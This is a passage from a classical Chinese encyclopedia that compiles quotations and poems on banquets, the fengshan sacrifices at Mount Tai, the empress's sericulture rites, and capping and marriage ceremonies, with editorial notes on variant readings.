.\n毛 诗 曰 . 鹿 鸣 . 燕 群 臣 嘉 宾 也 . 常 棣 . 燕 兄 弟 . 湛 露 . 天 子 燕 诸 侯 也 .\n又 曰 . 伐 木 . 燕 朋 友 故 旧 也 . 自 天 子 至 于 庶 人 . 未 有 不 须 友 以 成 也 . 亲 亲 以 睦 . 友 贤 不 弃 . 故 旧 不 遗 . 则 民 德 归 厚 矣 .\n左 传 曰 . 鲁 文 公 即 位 . 卫 侯 使 大 夫 宁 武 子 聘 于 鲁 . 鲁 文 公 与 武 子 燕 . 为 赋 湛 露 及 彤 弓 之 诗 .\n又 曰 . 卫 侯 燕 莒 成 叔 . 宁 惠 子 相 . 莒 成 叔 傲 . 宁 子 曰 . 莒 成 叔 家 其 亡 乎 . 古 之 为 飨 食 也 . 以 观 威 仪 . 省 祸 福 . 今 子 傲 . 取 祸 之 道 也 .\n韩 诗 曰 . 不 脱 履 而 即 度 . ○ 初 学 记 十 四 作 席 . 谓 之 礼 . 下 跣 而 止 . ○ 初 学 记 十 四 作 上 . 谓 之 燕 . 能 饮 者 饮 . 不 能 饮 者 . 谓 之 醧 . 闭 门 不 出 客 . 谓 之 湎 . 礼 记 曰 . 奠 酬 而 升 歌 . 发 德 也 . 注 云 . 以 诗 之 义 . 明 宾 主 之 礼 .\n又 曰 . 诸 侯 宴 礼 . 俎 豆 牲 醴 荐 . 皆 有 等 差 . 所 以 明 贵 贱 也 .\n汉 书 曰 . 高 祖 十 二 年 . 击 黥 布 . 还 . 过 沛 . 留 置 酒 . 悉 召 故 人 父 老 诸 母 乐 饮 . 道 旧 故 为 笑 乐 . 上 留 帐 饮 三 日 . 召 沛 中 儿 百 二 十 人 . 上 击 筑 . 歌 大 风 .\n东 观 汉 记 曰 . 建 武 三 年 . 幸 舂 陵 . 祠 园 庙 . 大 置 酒 . 与 父 老 故 人 相 乐 . 十 九 年 . 幸 汝 南 顿 正 令 舍 . 大 置 酒 . 赐 吏 民 . 复 南 顿 田 租 一 年 .\n魏 书 曰 . 文 帝 为 魏 王 . 南 征 次 谯 . 大 飨 六 军 及 父 老 . 设 乐 伎 百 戏 .\n世 说 曰 . 过 江 诸 人 . 每 至 暇 日 . 辄 相 要 出 新 亭 . 藉 卉 饮 宴 . 周 侯 中 坐 而 叹 曰 . 风 景 不 殊 . 举 目 有 江 河 之 异 . 皆 相 视 流 泪 . 唯 丞 相 愀 然 作 色 曰 . 当 共 戮 力 王 室 . 克 复 神 州 . 何 至 作 楚 囚 相 对 泣 耶 .\n沈 约 宋 书 曰 . 郑 鲜 之 为 人 通 率 . 在 高 祖 坐 . 言 无 所 隐 . 时 人 甚 惮 焉 . 尤 为 高 祖 所 狎 . 上 尝 于 内 殿 宴 饮 . 朝 贵 毕 集 . 唯 不 召 鲜 之 . 坐 定 . 谓 群 臣 曰 . 郑 鲜 之 必 当 自 来 . 俄 而 外 云 尚 书 郎 郑 鲜 之 诣 门 . 求 启 事 . 高 祖 大 笑 . 引 入 .\n【 诗 】 古 诗 曰 . 今 日 良 宴 会 . 欢 乐 难 具 陈 . 弹 筝 奋 逸 响 . 新 诗 妙 入 神 . 齐 心 同 所 愿 . 含 意 俱 未 申 . 人 生 寄 一 世 . 奄 忽 如 飘 尘 . 何 不 策 高 足 . 先 据 要 路 津 . 无 为 守 穷 贱 . 轗 长 苦 辛 .\n魏 陈 王 曹 植 公 宴 诗 曰 . 公 子 敬 爱 客 . 终 宴 不 知 疲 . 清 夜 游 西 园 . 飞 盖 相 追 随 . 明 月 澄 清 景 . 列 宿 正 参 差 . 秋 兰 被 长 阪 . 朱 华 冒 绿 池 . 潜 鱼 跃 清 波 . 好 鸟 鸣 高 枝 . 神 飙 接 丹 毂 . 轻 辇 随 风 移 .\n又 侍 太 子 坐 诗 曰 . 白 日 曜 青 春 . 时 雨 静 飞 尘 . 寒 冰 辟 炎 景 . 凉 风 飘 我 身 . 清 醴 盈 金 觞 . 肴 馔 纵 横 陈 . 齐 人 进 奇 乐 . 歌 者 出 西 秦 . 翩 翩 我 公 子 . 机 巧 忽 若 神 .\n又 与 丁 廙 诗 曰 . 嘉 宾 填 城 阙 . 丰 膳 出 中 厨 . 吾 与 二 三 子 . 曲 宴 此 城 隅 . 秦 筝 发 西 气 . 齐 瑟 扬 东 呕 . 肴 来 不 虚 满 . 觞 至 反 无 余 .\n魏 应 玚 公 宴 诗 曰 . 开 馆 延 群 士 . 置 酒 于 斯 堂 . 辨 论 释 常 结 . 援 笔 兴 文 章 . 穆 穆 众 君 子 . 好 合 同 欢 康 . 促 坐 褰 重 帷 . 传 满 腾 羽 觞 .\n魏 刘 桢 公 宴 诗 曰 . 永 日 行 游 戏 . 欢 乐 犹 未 央 . 遗 思 在 玄 夜 . 相 与 复 翱 翔 . 辇 车 飞 素 盖 . 从 者 盈 路 傍 . 月 出 照 园 中 . 珍 树 郁 苍 苍 . 清 川 过 石 渠 . 流 波 为 鱼 防 . 芙 蓉 散 其 花 . 菡 萏 溢 金 塘 . 珍 鸟 宿 水 裔 . 仁 兽 游 飞 梁 . 投 翰 长 叹 息 . 绮 丽 不 可 忘 .\n魏 王 粲 公 宴 会 诗 曰 . 昊 天 降 丰 泽 . 百 卉 挺 葳 蕤 . 凉 风 彻 蒸 暑 . 青 云 却 炎 晖 . 高 会 君 子 堂 . 并 坐 荫 华 榱 . 嘉 肴 充 圆 方 . 旨 酒 盈 金 罍 . 常 闻 诗 人 语 . 不 醉 且 无 归 . 愿 我 贤 主 人 . 与 天 享 巍 巍 . 克 符 周 公 业 . 弈 世 不 可 追 .\n魏 陈 琳 宴 会 诗 曰 . 凯 风 飘 阴 云 . 白 日 扬 素 晖 . 良 友 招 我 游 . 高 会 宴 中 闱 . 玄 鹤 浮 清 泉 . 绮 树 焕 青 蕤 .\n晋 武 帝 华 林 园 诗 曰 . 习 习 春 阳 . 帝 出 乎 震 . 天 施 地 生 . 以 应 仲 春 . 思 文 圣 皇 . 顺 时 秉 仁 . 钦 若 灵 则 . 饮 御 嘉 宾 . 洪 恩 普 畅 . 庆 乃 众 臣 . 其 一 .\n其 庆 惟 何 . 锡 以 帝 祉 . 肆 觐 群 后 . 有 客 戾 止 . 外 纳 要 荒 . 内 延 卿 士 . 箫 管 咏 德 . 八 音 咸 理 . 凯 乐 饮 酒 . 莫 不 宴 喜 . 其 二 .\n晋 陆 机 拟 今 日 良 宴 会 诗 曰 . 闲 夜 命 欢 友 . 置 酒 迎 风 馆 . 齐 童 梁 甫 吟 . 秦 娥 张 女 弹 . 哀 音 绕 栋 宇 . 遗 响 入 云 汉 . 人 生 无 几 何 . 为 乐 常 苦 晏 . 譬 彼 司 晨 鸟 . 扬 声 当 及 旦 .\n又 皇 太 子 赐 宴 诗 曰 . 明 明 隆 晋 . 茂 德 有 赫 . 思 媚 上 帝 . 配 天 光 宅 . 诞 育 皇 储 . 仪 形 在 昔 . 徽 言 时 宣 . 福 禄 来 格 . 劳 谦 降 贵 . 肆 敬 下 臣 . 肇 彼 先 驱 . 成 嘉 宾 .\n又 侍 皇 太 子 宣 猷 堂 诗 曰 . 笃 生 我 后 . 克 明 克 秀 . 体 晖 重 光 . 承 规 景 数 . 茂 德 冲 深 . 天 姿 玉 裕 . 三 正 迭 绍 . 洪 圣 启 运 . 自 昔 哲 王 . 先 天 而 顺 . 群 辟 崇 替 . 降 及 近 古 . 黄 晖 既 渝 . 素 灵 承 祜 . 三 后 始 基 . 世 武 丕 丞 . 协 风 傍 骇 . 天 晷 仰 澄 . 自 彼 河 汾 . 奄 齐 七 政 . 时 文 惟 晋 . 世 笃 其 圣 . 明 明 隆 晋 . 茂 德 有 赫 .\n晋 王 赞 侍 皇 太 子 宴 始 平 王 诗 曰 . 亹 亹 圣 胤 . 继 明 重 体 . 乐 此 常 棣 . 其 甘 如 荠 . 我 有 嘉 宴 . 以 洽 百 礼 . 煌 煌 同 族 . 蔼 蔼 王 僚 . 惟 中 惟 外 . 如 琼 如 瑶 . 湛 湛 朝 云 . 德 靡 不 覆 . 玄 黄 所 缀 . 文 成 彩 绣 . 政 以 神 和 . 乐 以 安 奏 . 一 人 有 庆 . 万 邦 是 佑 .\n又 侍 皇 太 子 祖 道 楚 淮 南 二 王 诗 曰 . 于 明 圣 晋 . 仰 统 天 绪 . 易 以 明 险 . 简 以 知 阻 . 研 彼 群 虑 . 俾 侯 授 土 . 郁 郁 二 王 . 祗 承 皇 命 . 睹 离 鉴 亲 . 观 礼 知 盛 . 皇 储 降 会 . 延 于 公 姓 . 瞻 彼 行 役 . 并 憩 同 林 . 分 涂 殊 轨 . 靡 不 回 心 .\n晋 陆 云 侍 大 将 军 宴 诗 曰 . 茫 茫 宇 宙 . 天 地 交 泰 . 王 在 华 堂 . 式 宴 嘉 会 . 玄 晖 峻 朗 . 翠 云 崇 霭 . 冕 卉 振 缨 . 藻 服 垂 带 . 祁 祁 臣 僚 . 有 来 雍 雍 . 薄 言 载 考 . 承 颜 下 风 . 俯 觌 前 客 . 仰 瞻 玉 容 . 天 锡 难 老 . 如 岳 之 崇 .\n宋 鲍 昭 侍 宴 覆 舟 山 应 诏 诗 曰 . 繁 霜 飞 玉 闼 . 爱 景 丽 皇 州 . 清 跸 式 驰 路 . 羽 盖 宣 游 . 神 居 既 崇 盛 . 岩 险 信 周 流 . 礼 俗 陶 德 声 . 昌 会 溢 民 讴 .\n梁 王 僧 孺 侍 宴 景 阳 楼 诗 曰 . 金 铺 烁 可 镜 . 桂 栋 俨 临 云 . 沾 觞 均 饮 德 . 服 道 验 朝 闻 . 讵 论 禹 无 间 . 非 耻 尧 为 君 . 小 臣 亦 何 者 . 短 翮 屡 追 群 .\n又 侍 宴 诗 曰 . 丽 景 属 春 余 . 清 阴 澄 夏 首 . 交 枝 隐 脩 径 . 回 流 影 遥 阜 . 徒 为 轹 轻 筠 . 移 銮 拂 高 柳 . 去 矣 劳 茂 绩 . 勉 哉 报 嘉 诱 . 小 臣 良 不 才 . 涓 尘 愧 所 守 . 何 用 胜 雕 斫 . 譬 木 良 如 朽 .\n又 侍 宴 诗 曰 . 回 舆 避 暑 宫 . 下 辇 迎 风 馆 . 散 漫 轻 烟 转 . 霏 微 商 云 散 . 蔓 草 亘 岩 垂 . 高 枝 起 天 半 . 回 风 稍 惊 水 . 落 光 渐 斜 岸 . 妙 舞 驻 行 云 . 清 歌 入 曾 汉 . 睟 颜 畅 有 怿 . 德 音 良 已 粲 .\n梁 庾 肩 吾 侍 宴 诗 曰 . 沐 道 逢 将 圣 . 飞 觞 属 上 贤 . 仁 风 开 美 景 . 瑞 气 动 非 烟 . 秋 树 翻 黄 叶 . 寒 池 堕 黑 莲 . 承 恩 谢 命 浅 . 念 报 在 身 前 .\n又 侍 宴 诗 曰 . 副 君 时 暇 豫 . 曾 城 聊 近 游 . 清 池 写 飞 阁 . 疏 树 出 龙 楼 . 北 陆 冰 方 壮 . 西 园 春 欲 周 . 梅 心 芳 屡 动 . 蒲 节 促 难 抽 . 徒 然 颁 并 命 . 无 以 厕 应 刘 .\n又 侍 宣 猷 堂 宴 湘 东 王 诗 曰 . 陈 王 骖 驾 反 . 副 后 西 园 游 . 并 命 登 飞 阁 . 列 坐 对 芳 洲 . 桂 岩 逢 暮 序 . 菊 水 值 穷 秋 . 竹 径 箫 声 发 . 相 门 琴 曲 愁 . 徒 奉 文 成 诵 . 空 知 思 若 抽 .\n梁 刘 孝 绰 侍 宴 诗 曰 . 清 宴 延 多 士 . 鸿 渐 滥 微 薄 . 临 猋 出 蕙 楼 . 望 辰 跻 菌 阁 . 上 征 切 云 汉 . 晚 眺 周 京 洛 . 城 寺 郁 参 差 . 街 衢 纷 漠 漠 . 禁 林 寒 气 晚 . 方 秋 未 摇 落 . 皇 心 重 发 志 . 赋 诗 追 并 作 . 自 昔 承 天 宠 . 于 兹 被 人 爵 . 选 言 非 绮 绡 . 何 以 俨 金 雘 .\n又 侍 宴 诗 曰 . 兹 堂 乃 峭 峤 . 伏 槛 临 曲 池 . 树 中 望 流 水 . 竹 里 见 攒 枝 . 栏 高 景 难 蔽 . 岫 隐 云 易 垂 . 邂 逅 逢 休 幸 . 朱 跸 曳 青 规 . 丘 山 不 可 答 . 葵 藿 空 自 知 .\n又 侍 宴 集 贤 堂 应 令 诗 曰 . 北 合 时 见 启 . 西 园 又 已 辟 . 官 属 引 鸿 鹭 . 朝 行 命 金 碧 . 伊 臣 独 何 取 . 隆 恩 徒 自 昔 . 布 武 登 玉 墀 . 委 坐 陪 瑶 席 . 绸 缪 参 宴 笑 . 淹 留 奉 觞 醳 . 壶 人 告 漏 晚 . 烟 霞 起 将 夕 . 反 景 入 池 林 . 余 光 映 泉 石 .\n又 陪 徐 仆 射 晚 宴 于 儿 宅 诗 曰 . 天 君 追 宴 喜 . 十 日 递 来 过 . 筑 室 华 池 上 . 开 轩 临 芰 荷 . 方 塘 交 密 笋 . 对 霤 接 繁 柯 . 景 移 林 改 色 . 风 去 水 余 波 . 洛 城 虽 半 日 . 爱 客 待 骊 歌 .\n梁 江 淹 拟 魏 帝 游 宴 诗 曰 . 置 酒 坐 飞 阁 . 逍 遥 临 华 池 . 神 飘 自 远 至 . 左 右 芙 蓉 披 . 绿 竹 夹 清 水 . 秋 兰 被 幽 崖 . 月 出 照 园 中 . 冠 佩 相 追 随 . 肃 肃 广 殿 阴 . 雀 声 愁 北 林 . 众 宾 还 城 邑 . 何 用 慰 我 心 . 陈 徐 陵 侍 宴 诗 曰 . 园 林 才 有 热 . 夏 浅 更 胜 春 . 嫩 竹 犹 含 粉 . 初 荷 未 聚 尘 . 承 恩 豫 下 席 . 应 阮 独 何 人 .\n隋 江 总 赋 得 置 酒 殿 上 诗 曰 . 三 清 传 旨 酒 . 柏 梁 奉 欢 宴\n. 霜 云 动 玉 叶 . 冻 水 疏 金 箭 . 羽 籥 响 钟 石 . 流 泉 灌 金 殿\n. 盛 时 不 再 得 . 光 景 驰 如 电 .\n河 图 真 纪 曰 . 王 者 封 太 山 . 禅 梁 甫 . 易 姓 奉 度 . 继 崇 功 也 .\n河 图 会 昌 符 云 . 汉 太 兴 之 道 . 在 九 代 之 王 . 封 于 太 山 . 刻 石 着 纪 . 禅 于 梁 甫 . 退 考 功 .\n春 秋 含 孳 曰 . 天 子 所 以 昭 察 . 以 从 斗 枢 . 禁 令 天 下 . 系 体 守 文 . 宿 思 以 合 神 . 保 长 久 . 天 子 受 符 . 以 辛 日 立 号 .\n史 记 曰 . 齐 桓 公 欲 封 禅 . 管 仲 曰 . 古 封 太 山 . 禅 梁 甫 . 七 十 二 家 . 夷 吾 所 记 . 十 有 二 焉 . 无 怀 氏 封 泰 山 . 禅 云 云 . 颛 顼 封 泰 山 . 禅 云 云 . 神 农 封 泰 山 . 禅 云 云 . 炎 帝 封 泰 山 . 禅 云 云 . 黄 帝 封 泰 山 . 禅 亭 亭 . 帝 喾 封 泰 山 . 禅 云 云 . 尧 封 泰 山 . 禅 云 云 . 舜 封 泰 山 . 禅 云 云 . 禹 封 泰 山 . 禅 会 稽 . 汤 封 泰 山 . 禅 云 云 . 周 成 王 封 泰 山 . 禅 社 首 . 皆 受 命 . 然 后 得 封 禅 . 古 之 封 禅 . 鄗 上 之 黍 . 北 里 之 禾 . 所 以 为 盛 . 江 淮 之 闲 . 一 茅 三 脊 . 所 以 为 籍 . 东 海 致 比 目 之 鱼 . 西 海 致 比 翼 之 鸟 . 然 后 有 不 召 而 自 至 者 . 十 有 五 焉 .\n又 曰 . 秦 始 皇 既 并 天 下 . 即 帝 位 . 征 齐 鲁 儒 士 . 博 士 七 十 人 . 至 泰 山 下 . 议 曰 . 古 者 封 禅 为 蒲 车 . 恶 伤 山 之 土 石 草 木 . 始 皇 上 泰 山 立 石 . 颂 始 皇 德 . 明 其 得 封 也 . 封 藏 皆 秘 . 代 不 得 而 记 也 . 始 皇 上 泰 山 . 中 阪 遇 风 雨 . 休 于 树 下 . 因 封 其 树 为 五 大 夫 .\n又 曰 . 封 禅 则 不 死 . 黄 帝 是 也 . 儒 者 皮 弁 荐 绅 . 射 牛 . 封 太 山 . 如 郊 太 一 之 礼 .\n又 曰 . 李 少 君 上 言 云 . 纵 远 方 奇 兽 飞 禽 及 白 雉 以 加 祀 . 皆 至 太 山 . 其 夜 若 有 光 . 昼 有 白 云 起 封 中 .\n白 虎 通 曰 . 天 以 高 为 尊 . 地 以 厚 为 德 . 故 增 太 山 之 高 以 报 天 . 附 梁 父 之 厚 以 报 地 也 .\n又 曰 . 易 姓 而 王 . 必 升 封 太 山 . 报 告 成 .\n又 曰 . 或 封 禅 . 金 泥 银 绳 . 或 曰 石 泥 金 绳 . 封 之 金 印 . 或 曰 . 封 禅 封 之 以 金 印 .\n孝 经 序 金 ○ 太 平 御 览 五 百 三 十 六 作 钩 命 . 决 曰 . 封 乎 太 山 . 考 绩 燔 燎 . 禅 乎 梁 父 . 刻 石 纪 功 .\n尚 书 中 候 曰 . 昔 古 圣 王 . 功 成 道 洽 . 符 瑞 出 . 乃 封 太 山 . 今 比 目 之 鱼 不 至 . 凤 皇 不 臻 . 未 可 以 封 . 郑 玄 注 云 . 比 目 东 方 异 气 所 生 . 名 鲽 .\n司 马 相 如 封 禅 书 曰 . 然 犹 蹑 梁 父 . 登 太 山 . 建 昭 号 . 施 尊 名 . 俾 万 代 得 激 清 流 . 扬 微 波 . 飞 英 声 . 腾 茂 实 .\n封 禅 仪 注 曰 . 持 礼 三 十 人 . 上 发 坛 上 十 石 函 盖 . 尚 书 令 北 向 跪 . 藏 玉 牒 毕 . 持 礼 覆 石 函 . 尚 书 令 封 上 石 捡 . 亦 治 以 金 绳 . 泥 杂 用 四 方 土 . 各 依 其 色 .\n张 华 议 曰 . 海 内 符 瑞 之 应 . 备 物 之 盛 . 未 有 若 今 之 盛 . 宜 礼 中 岳 . 封 泰 山 . 发 德 号 .\n汉 官 仪 曰 . 封 禅 太 山 . 既 ○ 汉 官 仪 作 即 . 武 帝 封 处 . 累 其 石 . 登 坛 . 置 玉 牒 书 封 石 此 中 . 复 封 石 捡 .\n又 曰 . 元 封 封 禅 . 书 ○ 按 当 作 昼 . 有 白 气 . 夜 有 光 . 下 天 关 石 门 .\n又 曰 . 有 玉 龟 .\n又 曰 . 建 武 二 十 二 年 . 东 巡 狩 . 二 月 九 日 . 到 鲁 . 十 九 日 . 国 家 居 亭 . 百 官 布 野 . 此 日 上 山 . 云 气 成 宫 阙 . 百 姓 皆 见 .\n汉 书 曰 . 元 封 元 年 四 月 癸 卯 . 上 迁 . ○ 汉 书 武 帝 纪 作 还 . 登 封 太 山 . 应 劭 云 . 成 功 治 定 . 告 成 于 天 . 有 金 策 石 函 . 金 泥 玉 捡 之 封 .\n又 曰 . 倪 宽 对 策 云 . 其 封 太 山 . 禅 梁 父 . 昭 姓 考 功 . 此 帝 王 之 盛 节 .\n续 汉 书 曰 . 上 以 用 石 功 难 . 又 欲 及 二 月 封 . 故 诏 梁 松 . 因 故 封 石 空 捡 . 更 加 封 而 已 . 松 上 疏 争 之 . 以 为 承 天 之 敬 . 尤 宜 章 明 . 今 因 旧 封 . 窜 寄 玉 牒 故 石 下 . 恐 非 重 命 之 义 .\n又 曰 . 建 武 二 十 二 年 . 上 许 梁 松 等 奏 . 方 求 元 封 时 故 事 . 议 封 禅 所 施 用 . 有 司 奏 当 刻 玉 玺 一 枚 . 方 寸 三 分 . 玉 版 方 五 寸 .\n又 曰 . 上 御 辇 升 山 . 日 中 后 到 山 上 . 即 位 于 坛 南 北 . ○ 太 平 御 览 五 百 三 十 六 北 下 有 面 字 . 帝 升 坛 . 尚 书 令 奉 玉 牒 捡 . 皇 帝 以 寸 二 分 玺 亲 封 之 .\n吴 志 曰 . 孙 皓 天 玺 元 年 . 阳 羡 山 有 石 室 . 所 石 ○ 吴 志 三 作 在 所 . 表 为 天 瑞 . 乃 遣 司 空 董 朝 周 处 等 . 封 禅 国 山 .\n宋 书 曰 . 江 夏 王 义 恭 表 云 . 气 于 宫 树 珍 露 味 于 林 . ○ 句 有 讹 脱 . 宜 修 封 太 山 . 瘗 玉 岱 趾 .\n太 康 地 记 曰 . 奉 高 者 . 以 事 东 岳 . 帝 王 禅 代 之 处 也 .\n故 明 堂 在 县 南 四 里 . 汉 武 立 太 坛 于 东 山 . 以 登 ○\n太 平 御 览 五 百 三 十 六 作 祭 . 天 下 . ○\n御 览 下 字 无 . 示 增 高 .\n祭 统 曰 . 王 后 蚕 于 北 郊 . 以 供 纯 服 . 夫 人 蚕 于 北 郊 . 以 供 冕 服 . 纯 音 缁 也 .\n五 礼 先 蚕 仪 注 曰 . 亲 蚕 前 二 日 . 太 祝 令 . 质 明 . 以 太 牢 祀 先 蚕 .\n皇 后 亲 蚕 仪 注 曰 . 皇 后 躬 桑 . 始 将 一 条 . 执 筐 受 桑 .\n周 迁 古 今 舆 服 杂 事 曰 . 蚕 始 生 . 后 食 之 . 三 洒 而 止 .\n晋 元 康 义 曰 . 皇 后 采 桑 坛 . 蚕 宫 西 南 .\n董 巴 舆 服 志 曰 . 汉 皇 后 桑 于 东 郊 苑 中 者 .\n又 曰 . 太 皇 太 后 入 庙 服 . 绀 上 皂 下 . 蚕 . 青 上 缥 下 . 簪 以 玳 瑁 . 长 一 尺 . 端 为 华 胜 . 上 为 凤 皇 .\n礼 记 曰 . 季 春 之 月 . 后 妃 斋 戒 躬 桑 . 以 劝 蚕 事 . 孟 夏 之 月 . 蚕 事 既 毕 . 后 妃 献 .\n又 曰 . 蚕 事 既 登 . 分 茧 称 丝 . 以 供 郊 庙 之 服 .\n又 曰 . 后 妃 献 茧 . 乃 收 茧 税 . 以 桑 为 均 . 贵 贱 长 幼 如 一 .\n东 观 汉 记 曰 . 明 德 马 皇 后 . 置 织 室 蚕 于 濯 龙 中 . 数 往 来 观 视 .\n汉 书 曰 . 孝 元 王 皇 后 为 太 后 . 幸 蚕 馆 . 率 皇 后 及 列 侯\n夫 人 桑 北 郊 .\n又 醴 辞 曰 . 甘 醴 惟 享 . 嘉 荐 令 芳 . 拜 受 祭 之 . 以 定 尔 祥 . 承 天 之 休 . 寿 考 不 忘 .\n又 醮 辞 曰 . 旨 酒 既 清 . 嘉 荐 以 时 . 乃 加 元 服 . 兄 弟 具 来 . 孝 友 时 格 . 永 乃 保 之 . 又 再 醮 曰 . 旨 酒 既 清 . 嘉 荐 伊 脯 . 乃 伸 尔 服 . 礼 仪 有 序 . 祭 此 嘉 爵 . 承 天 之 祜 .\n又 三 醮 曰 . 旨 酒 令 芳 . 笾 豆 有 楚 . 咸 加 尔 服 . 肴 升 嘉 ○ 仪 礼 作 折 . 俎 . 承 天 之 庆 . 受 福 无 疆 .\n又 字 辞 曰 . 礼 仪 既 备 . 令 月 吉 日 . 昭 告 尔 字 . 爱 ○ 仪 礼 作 爰 . 字 孔 嘉 . 髦 士 攸 宜 . 宜 之 于 嘏 . 永 受 保 之 .\n礼 记 曰 . 始 冠 . 缁 布 之 冠 也 . 太 古 冠 布 . 齐 则 缁 之 . 适 子 冠 于 阼 . 以 着 代 也 . 醮 于 客 位 . 加 有 成 也 . 三 加 弥 尊 . 喻 其 志 也 . 冠 而 字 之 . 敬 其 名 也 .\n又 曰 . 成 王 冠 . 祝 雍 曰 . 使 王 近 于 民 . 远 于 年 . 啬 于 时 . 惠 于 财 . 任 贤 使 能 .\n大 戴 礼 曰 . 太 子 既 冠 . 成 人 . 免 于 傅 保 . 则 有 司 过 之 史 . 有 亏 膳 之 宰 . 太 子 有 过 . 史 必 书 之 .\n汉 记 曰 . 马 防 子 钜 . 为 常 从 小 侯 . 上 欲 冠 钜 . 夜 拜 为 黄 门 郎 . 御 章 台 . 下 殿 陈 鼎 俎 . 自 临 冠 之 礼 .\n汉 书 曰 . 安 帝 桓 帝 献 帝 加 元 服 . 并 大 赦 . 赐 公 卿 金 帛 .\n【 箴 】 萧 子 范 子 冠 子 箴 曰 . 是 月 惟 令 . 敬 择 良 辰 . 式\n遵 士 典 . ● 筮 于 宾 . 嘉 字 爰 锡 . 醮 酒 方 陈 . 礼 庄 尔 质 .\n德 成 尔 身 . 永 变 童 心 . 长 移 悼 齿 . 朱 锦 辞 发 . 青 约 在 履\n. 丹 石 为 操 . 冰 泉 厉 己 . 务 简 朋 匹 . 由 苏 游 止 . 在 我 尚\n谦 . 推 物 尽 美 . 面 谄 退 言 . 弗 纳 于 耳 . 直 弦 矢 辞 . 斯 为\n良 士 .\n尔 雅 曰 . 女 之 夫 曰 婿 . 婿 父 母 为 姻 . 妇 父 母 为 婚 .\n礼 记 曰 . 仲 春 之 月 . 玄 鸟 至 . 至 之 日 . 以 太 牢 祀 高 禖 . 玄 鸟 . 鷰 也 . 鷰 以 来 巢 . 室 于 嫁 娶 之 家 . 媒 氏 以 为 候 也 .\n又 曰 . 婚 礼 者 . 将 合 二 姓 之 好 . 上 以 事 宗 庙 . 而 下 继 后 世 矣 . 故 君 重 之 .\n又 曰 . 嫁 女 之 家 . 三 夜 不 息 烛 . 思 相 离 也 . 娶 妇 之 家 . 三 日 不 举 乐 . 思 嗣 亲 也 . 三 月 而 庙 见 . 称 来 妇 也 . 择 日 而 祭 于 祢 . 成 妇 之 义 也 .\n又 曰 . 夫 婚 礼 万 世 之 始 也 . 壹 与 之 齐 . 终 身 不 改 . 故 夫 死 不 嫁 . 男 女 别 . 然 后 父 子 亲 . 父 子 亲 . 然 后 义 生 . 义 生 然 后 礼 作 . 礼 作 然 后 万 物 安 . 婿 亲 御 授 . 亲 之 也 . 出 乎 大 门 . 男 帅 女 . 女 从 男 . 夫 妇 之 义 由 此 始 . 妇 人 从 人 者 也 . 幼 从 父 兄 . 嫁 从 夫 . 夫 死 从 子 .\n又 曰 . 纳 女 于 天 子 . 曰 备 百 姓 . 于 国 君 . 曰 备 酒 浆 . 于 大 夫 . 曰 备 扫 洒 .\n又 曰 . 哀 公 问 孔 子 曰 . 冕 而 亲 迎 . 不 已 重 乎 . 孔 子 对 曰 . 合 二 姓 之 好 . 以 继 先 圣 之 后 . 以 为 天 地 宗 庙 社 稷 之 主 . 君 何 谓 已 重 乎 . 崔 骃 婚 礼 结 言 曰 . 干 坤 其 德 . 恒 久 不 已 . 爰 定 天 纲 . 夫 妇 作 始 . 乃 降 英 媛 . 有 淑 其 仪 . 姬 姜 是 侔 . 比 则 姚 妫 . 载 纳 嘉 贽 . 申 结 鞶 褵 .\n毛 诗 曰 . 何 彼 秾 矣 . 美 王 姬 也 . 虽 则 王 姬 . 亦 下 嫁 于 诸 侯 . 车 服 不 系 其 夫 . 下 王 后 一 等 . 犹 执 妇 道 . 以 成 肃 雍 之 德 .\n又 曰 . 岂 其 食 鱼 . 必 河 之 鲂 . 岂 其 娶 妻 . 必 齐 之 姜 . 岂 其 食 鱼 . 必 河 之 鲤 . 岂 其 娶 妻 . 必 宋 之 子 .\n又 曰 . 伐 柯 如 之 何 . 匪 斧 不 克 . 娶 妻 如 之 何 . 匪 媒 不 得 .\n左 传 曰 . 齐 侯 与 蔡 姬 乘 舟 于 囿 . 荡 公 . 公 变 色 . 禁 之 不 可 . 公 怒 . 归 之 . 未 之 绝 也 . 蔡 人 嫁 之 . 齐 侯 以 诸 侯 之 师 侵 蔡 . 蔡 溃 . 伐 楚 .\n又 曰 . 楚 昭 王 败 . 钟 建 负 季 芊 以 从 . 将 嫁 季 芊 . 芊 辞 曰 . 所 以 为 女 子 . 远 丈 夫 也 . 昔 者 钟 建 负 我 矣 . 以 妻 钟 建 .\n白 虎 通 曰 . 天 子 诸 侯 . 一 娶 ○ 太 平 御 览 五 百 四 十 一 娶 下 有 九 女 二 字 . 此 脱 . 者 何 . 重 国 广 继 也 . 法 地 有 九 州 . 承 天 之 施 . 无 所 不 生 . 一 聚 九 女 . 亦 足 承 君 之 施 . 九 而 无 子 . 百 无 益 也 .\n郑 氏 婚 礼 谒 文 曰 . 纳 采 . 始 相 与 言 语 . 采 择 可 否 之 时 . 问 名 . 谓 问 女 名 . 将 归 上 ○ 初 学 记 十 四 作 卜 . 之 也 . 纳 吉 . 谓 归 卜 吉 . 往 告 之 也 . 纳 征 . 用 束 帛 . 征 成 也 . 请 期 . 谓 吉 日 将 亲 迎 . 谓 成 礼 也 .\n刘 恢 与 范 注 ○ 按 当 作 汪 . 论 婚 事 曰 . 礼 无 拜 时 . 拜 时 出 于 末 世 耳 . 将 以 世 族 多 虚 . 吉 事 宜 速 . 故 以 好 岁 拜 时 . 新 年 便 可 婚 也 .\n列 女 传 曰 . 邵 南 申 女 者 . 申 人 之 女 也 . 既 许 嫁 于 丰 . 夫 家 不 备 而 欲 迎 之 . 女 也 遂 不 肯 往 . 夫 家 讼 之 于 理 . 致 之 于 狱 . 女 终 以 一 物 不 具 . 一 礼 不 备 . 守 节 持 义 . 必 死 不 往 .\n汉 书 曰 . 陈 平 . 邑 富 人 张 负 . 有 女 孙 . 五 嫁 夫 辄 死 . 平 欲 得 之 . 邑 中 有 大 丧 . 平 家 贫 . 侍 丧 . 以 先 往 后 罢 为 助 . 既 见 之 丧 所 . 随 平 至 其 家 . 家 乃 负 郭 穷 巷 . 然 门 外 多 长 者 车 辙 . 负 以 女 孙 妻 平 . 曰 . 固 有 美 如 陈 平 . 而 长 贫 贱 者 乎 .\n又 曰 . 张 耳 . 大 梁 人 也 . 常 亡 命 游 外 黄 . 外 黄 富 人 女 甚 美 . 庸 奴 其 夫 . 亡 抵 父 客 . 父 客 谓 曰 . 必 欲 求 贤 夫 . 从 耳 . 女 听 为 请 . 决 嫁 之 . 女 家 厚 奉 给 耳 . 耳 以 故 致 千 里 客 .\n又 曰 . 张 放 取 ○ 原 脱 . 据 三 十 三 卷 宠 幸 篇 引 补 . 皇 后 弟 平 恩 侯 许 嘉 